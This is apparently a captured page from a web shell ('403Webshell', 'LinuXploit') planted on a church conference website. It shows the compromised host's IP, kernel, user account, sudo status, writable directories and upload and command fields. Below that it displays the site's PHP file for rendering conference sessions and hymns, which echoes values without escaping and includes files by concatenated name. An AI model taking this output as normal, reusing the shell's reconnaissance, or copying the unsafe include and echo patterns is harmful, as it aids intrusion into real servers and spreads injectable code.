403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/church_sites/lvsaints.com_stakecenter/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/church_sites/lvsaints.com_stakecenter/includes/conference_functions.php
<?php

$conference_arr = array(
	'current_session' => '',
	'filename' => '',
	'date' => '',
	'links' => array(
		array('url' => '...', 'text' => '...'),
	),
	'sessions' => array(
		'session_key' => array(
			'title' => '...',
			'menu' => '...',
			'location' => '...',
			'theme' => '...',
			'date' => '...',
			'blocks' => array(
				array(
					'type' => 'hymn',
					'key' => '...',
					'hymn' => '...',
				),
				array(
					'type' => 'lines',
					'lines' => array(
						'left' => '...',
						'right' => '...',
					),
				),
				array(
					'type' => 'comment',
					'comment' => '...',
				),
			),
		),
	),
	'hymns' => array(
		array('key' => '...', 'title' => '...', 'session' => '...'),
	),
);
$conference_arr = array();

function load_conference($conference){
	global $conference_arr;
	$conference_arr['filename'] = $conference;
	include 'conferences/' . $conference;
}
function add_conference($date){
	global $conference_arr;
	$conference_arr['date'] = $date;
}

function add_session($session_key, $title, $menu, $theme, $location, $date){
	global $conference_arr;
	$conference_arr['current_session'] = $session_key;
	$conference_arr['sessions'][$session_key] = array(
		'key' => $session_key,
		'title' => $title,
		'menu' => $menu,
		'theme' => $theme,
		'location' => $location,
		'date' => $date,
		'blocks' => array(),
	);	
}
function add_links($links){
	global $conference_arr;
	$conference_arr['links'] = $links;
}
function add_hymn($hymn_key){
	global $conference_arr, $all_hymns;
	
	$hymn = $all_hymns[$hymn_key];
	
	$cur_ses = $conference_arr['current_session'];
	$conference_arr['sessions'][$cur_ses]['blocks'][] = array('type' => 'hymn', 'key' => $hymn_key, 'hymn' => $hymn, 'session' => $cur_ses);
	
	if(isset($conference_arr['hymns'][$hymn_key])){
		return;
	}
	$conference_arr['hymns'][$hymn_key] = array(
		'key' => $hymn_key,
		'title' => $hymn,
		'text' => nl2br(file_get_contents('hymns/' . $hymn_key . '.php')),
		'session' => $cur_ses,
	);
}
function add_comment($comment){
	global $conference_arr;
	
	$cur_ses = $conference_arr['current_session'];
	$conference_arr['sessions'][$cur_ses]['blocks'][] = array('type' => 'comment', 'comment' => $comment);
}
function add_lines($lines){
	global $conference_arr;
	$rows = array();
	
	if($lines){
		foreach($lines as $line){
			$arr = explode('::', $line);
			$row['left'] = $arr[0];
			$row['right'] = $arr[1];
			$rows[] = $row;
		}
	}
	
	$cur_ses = $conference_arr['current_session'];
	$conference_arr['sessions'][$cur_ses]['blocks'][] = array('type' => 'lines', 'lines' => $rows);
}

function make_conference(){
	global $conference_arr;
	//echo "<pre>";
	//print_r($conference_arr);
	//echo "</pre>";
	$h = "<div class='conference conference-". substr($conference_arr['filename'], 0, -4) ."'>";
	
	//$h .= make_heading();
	$h .= make_sessions();
	$h .= make_hymns();
	$h .= "</div>";
	echo $h;
}
function make_sessions(){
	global $conference_arr;
	$sessions = $conference_arr['sessions'];
	$h = "<div class='conference-sessions'>";
	if($sessions){
		foreach($sessions as $session){
			$h .= make_session($session);
		}
	}
	$h .= "</div>";
	return $h;
}
function make_heading(){
	global $conference_arr;	
	$h .= "<div class='page-header'>";
	$h .= "<h1 class='page-heading'>Little Valley Stake Conference</h1>";
	$h .= "<h3>". $conference_arr['date'] ."</h3>";
	$h .= "</div>";
	return $h;
}
function make_session($session){
	global $conference_arr;	
	$key = $session['key'];
	$conference_arr['current_session'] = $key;
	$title = $session['title'];
	$location = $session['location'];
	$theme = $session['theme'];
	$date = $session['date'];
	$h = "<section id='". $key ."' class='session session-". $key ."'>";
		$h .= "<div class='session-heading'>";
			$h .= "<h1>". $title ."</h1>";
			if($date){ $h .= "<h2>". $date ."</h2>"; }
			if($location){ $h .= "<p class='lead'>Location: ". $location ."</p>"; }
			if($theme){ $h .= "<p class='italic'>Theme: ". $theme ."</p>"; }
		$h .= "</div>";
		$h .= "<div class='session-blocks'>";
		$blocks = $session['blocks'];
		if($blocks){
			foreach($blocks as $key => $block){
				$h .= make_block($key, $block);
			}
		}
		$h .= "</div>";
	$h .= "</section>";
	return $h;
}

function make_block($int, $block){
	$type = $block['type'];
	$h = "<div class='session-block block-". $int ."'>";
	if($type == 'lines'){
		$h .= make_lines($block['lines']);
	}else if($type == 'hymn'){
		$h .= make_hymn_link($block);
	}else if($type == 'comment'){
		$h .= make_comment($block['comment']);
	}
	$h .= "</div>";
	return $h;
}
function make_hymn_link($block){
	$h .= "<div class='block-hymn-link'>";
		$h .= "<a class='btn btn-primary btn-sm' href='#". $block['key'] ."'>". $block['hymn'] ." <i class='fa fa-chevron-circle-down'></i></a>";
	$h .= "</div>";
	return $h;
}

function make_lines($lines){
	$h .= "<ul class='block-lines lines-". count($lines) ."'>";
		if($lines){
			foreach($lines as $line){
				$h .= "<li>";
					$h .= "<span>". $line['left'] ."</span>";
					$h .= "<span>". $line['right'] ."</span>";
				$h .= "</li>";
			}
		}
    $h .= "</ul>";
	return $h;
}
function make_comment($comment){
	$h = "<div class='block-comment'>";
		$h .= "<p>" . $comment . "</p>";
	$h .= "</div>";
	return $h;
}
function make_hymns(){
	global $conference_arr;
	$h = "<div class='conference-hymns'>";
	$hymns = $conference_arr['hymns'];
	$h .= "<h1 class='page-header'>Conference Hymns</h1>";
	if($hymns){
		foreach($hymns as $hymn){
			$h .= make_hymn($hymn);
		}
	}
	$h .= "</div>";
	return $h;
}
function make_hymn($hymn){
	global $conference_arr;
	$h = "<div id='". $hymn['key'] ."' class='block-hymn'>";
        $h .= "<h1>Hymns</h1>";
		$h .= "<h2>". $hymn['title'] ."</h2>";
		$h .= "<p class='hymn-lyrics'>". $hymn['text'] ."</p>";
        $h .= "<a href='#". $hymn['session'] ."'>Back to ". $conference_arr['sessions'][$hymn['session']]['title'] ." <i class='fa fa-chevron-circle-up'></i></a>";
	$h .= "</div>";
	return $h;
}
function make_links(){
	global $conference_arr;
	$sessions = (array) $conference_arr['sessions'];
	$links = (array) $conference_arr['links'];
	$h = '';
	foreach($sessions as $session){
		$h .= "<li>";
			$h .= "<a href='#". $session['key'] ."'>". $session['menu'] ."</a>";
		$h .= "</li>";
	}
	foreach($links as $link){
		$h .= "<li>";
			$h .= "<a target='NewLinkConference' href='". $link['url'] ."'>". $link['text'] ."</a>";
		$h .= "</li>";
	}
	
	return $h;
}


Youez - 2016 - github.com/yon3zu
LinuXploit